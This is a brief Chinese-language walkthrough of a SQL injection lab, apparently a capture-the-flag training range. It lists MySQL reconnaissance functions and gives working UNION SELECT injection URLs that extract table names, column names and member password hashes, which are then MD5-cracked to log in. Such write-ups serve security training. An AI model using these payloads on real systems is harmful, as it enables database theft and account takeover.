必知知识:
数据库版本:version()
数据库名:database()
数据库用户:user()
操作系统:@@version_compile_os
information_schema.tables:记录所有表名信息的表
information_schema.column:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:表名
点击登录下面通知进入
在网址随便输入判断是否存在注入点
通过输入order by x进行判断字段数
将前面进行报错执行后面内容,查询输入
得到数据库库名
获取表名
http://219.153.49.228:44553/new_list.php?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'#
获取列名:
http://219.153.49.228:44553/new_list.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'#
得到数据
http://219.153.49.228:44553/new_list.php?id=-1 union select 1,2,group_concat(name,password),4 from StormGroup_member#
将得到的代码进行MD5解密登录账户获取flag